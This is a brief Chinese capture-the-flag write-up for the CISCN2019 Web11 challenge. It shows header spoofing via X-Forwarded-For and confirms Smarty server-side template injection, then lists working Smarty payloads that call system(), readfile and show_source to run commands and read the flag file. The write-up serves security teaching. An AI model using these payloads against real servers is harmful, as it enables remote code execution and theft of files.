[CISCN2019 華東南賽區]Web11

知識點

• SSTI
• smarty

 

題目給了提示，Build With Smarty

看到有X-Forwarded-For，抓包添加

X-Forwarded-For: 127.0.0.1

 

 

發現Current IP被修改成我們輸入的值

上SSTI圖

 

 

測試一下是否是smarty

X-Forwarded-For: 7{*comment*}7

 

正常返回77，說明確實是smarty，上smarty常用payload

{if phpinfo()}{/if}
{if system('ls')}{/if}
{ readfile('/flag') }
{if show_source('/flag')}{/if}
{if system('cat ../../../flag')}{/if}